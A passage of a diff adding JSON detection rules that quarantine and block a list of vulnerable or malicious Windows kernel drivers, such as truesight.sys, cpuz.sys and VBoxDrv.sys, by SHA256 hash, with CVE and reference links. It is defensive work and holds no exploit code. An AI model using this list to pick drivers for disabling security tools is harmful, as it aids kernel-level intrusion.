+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822918Z",
+  "creation_date": "2026-03-23T11:45:30.822920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e53dabeff15be08a23fb7eccfd82fd1dbdc3de857b28209dac3b4b2bdc3cb13a",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7363871-e97b-5793-b2aa-fa4e46e6cdee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983920Z",
+  "creation_date": "2026-03-23T11:45:29.983922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46ffe559f5a8f6bd611ac5a9264edf92d8449d8d31b2ddf6b2add5971e309c56",
+  "comment": "Vulnerable Kernel Driver (aka iomem64.sys) [https://www.loldrivers.io/drivers/04d377f9-36e0-42a4-8d47-62232163dc68/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e736570e-0dd2-529b-8304-cd93ce375a2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828860Z",
+  "creation_date": "2026-03-23T11:45:30.828862Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828868Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f5964b0bb4036485e8424006a47f68e1a6a5b65fbcb6a9381b2915dbc54bd4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e73ba48e-a6c4-50d7-8926-dff9d4d933ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140856Z",
+  "creation_date": "2026-03-23T11:45:31.140858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7dbb58bc5a88defdbb20983a858b122df1c92f3a1be88879e00268db37d380cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e757c61d-9f0a-5a31-9d47-eb773cdd095b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984407Z",
+  "creation_date": "2026-03-23T11:45:29.984409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984414Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfab93885e5129a86d13fd380d010cc8c204429973b776ab1b472d84a767930f",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e75b4f39-1641-5bfd-8c66-d30636c9c636",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488828Z",
+  "creation_date": "2026-03-23T11:45:31.488830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17d87146257a05e71e2b0c14c753a7a23b24f580684c20744328ee2c17c4a5d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7633e6d-d04a-5168-bd96-055676fff9e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489993Z",
+  "creation_date": "2026-03-23T11:45:31.489997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490006Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66389eeb0403a8b8a5e9c86d55015270091a8ce564f7a96daa49e422a5bf12ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e766c713-9b84-53c3-a628-0a84a267b9c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474987Z",
+  "creation_date": "2026-03-23T11:45:30.474991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475000Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31fcf4cbe7de8a5d563144e577324f9206bcc24ddf17473b436f1c693dff0ee7",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e76c5e47-70cc-5135-a90c-61db39f43c05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610492Z",
+  "creation_date": "2026-03-23T11:45:29.610494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610499Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e783780f-0df8-5d9e-8e38-06e077343de8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832003Z",
+  "creation_date": "2026-03-23T11:45:30.832005Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a4c86dc9c64509ec1fd2cbbc9ab3796d9e22987e08be41a82f9171b88a85c01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e78f66d7-b61e-5b12-8b1c-66e3a6bd661c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608562Z",
+  "creation_date": "2026-03-23T11:45:29.608564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "597e7d5feb149d9087888926d1454dc06f1078ab18c948b44f090910da8645f8",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7916315-04a3-578c-a611-3e9f4b561540",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488152Z",
+  "creation_date": "2026-03-23T11:45:31.488154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4157456f9f9b17f3cec65c7b4c0132a9607b95d84b7c91a78531f498b83c7bc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e79954df-3256-514f-a4b9-f4170bc6e53b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480236Z",
+  "creation_date": "2026-03-23T11:45:31.480240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59234802fe72df8ee65caa625efdbe3cfaeb53d1c9872dc2235947ba03f6a027",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e79e1b11-dccd-5bc9-88b9-ec626201d53a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145262Z",
+  "creation_date": "2026-03-23T11:45:32.145266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77225a99b2e0e2b4007fb2f5a96d356e13deab45b9ef54c175d5452de8a211a7",
+  "comment": "Malicious Kernel Driver (aka driver_77225a99.sys) [https://www.loldrivers.io/drivers/5fb86651-c152-404a-9a2f-0f54b0d2bb55/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7a5bc55-8cdb-5f1f-9211-3e55da1877b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826532Z",
+  "creation_date": "2026-03-23T11:45:30.826534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "562d931e327967192b2c614968ee90b4e0e1f226c152800d2f6df4e602147203",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7a98455-6ffb-50cd-9711-71ce7e73ceae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151264Z",
+  "creation_date": "2026-03-23T11:45:31.151266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89138b34b0e057db07d7c6e56992aca0f30faafcce9fe511dcab7d14f3f41279",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7b10f8f-9b89-5f48-a473-d74180df6515",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824904Z",
+  "creation_date": "2026-03-23T11:45:31.824908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ab0442d9b69f0087e4acb3bda60422061c41ded7cf5e197a2bedefc98655993",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7b85012-0bfe-535d-a54b-254e5e16365c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477643Z",
+  "creation_date": "2026-03-23T11:45:31.477647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f22701e787985e0335480e616a36bd33d7df96272a2afa1b812430cfc449a53f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7cff119-2db4-5ec5-8dae-dd42dcdf982d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820160Z",
+  "creation_date": "2026-03-23T11:45:30.820162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f72dbb2a818ba47ca03ffbe50d211050210699c25caec3b97ca960d7286d4b6a",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7d01e33-9469-5460-bbfb-8420062115aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972560Z",
+  "creation_date": "2026-03-23T11:45:29.972562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7d1fbe6-7be0-5f90-8f3f-c904fc97f431",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475702Z",
+  "creation_date": "2026-03-23T11:45:30.475705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89698cad598a56f9e45efffd15d1841e494a2409cc12279150a03842cd6bb7f3",
+  "comment": "Malicious Kernel Driver (aka wfshbr64.sys) [https://www.loldrivers.io/drivers/ddf661c0-7dfc-4c26-89c5-00cd6a81a139/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7dce429-7080-5bc4-b6fb-d9a90041bb39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476598Z",
+  "creation_date": "2026-03-23T11:45:31.476601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cc0132730115b65bfda0adb4de8a1a1c035b1d0eb2384873cf3a5c3cb2efb14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7e2f8c9-b0df-5860-9bf4-4ff8f8730a71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
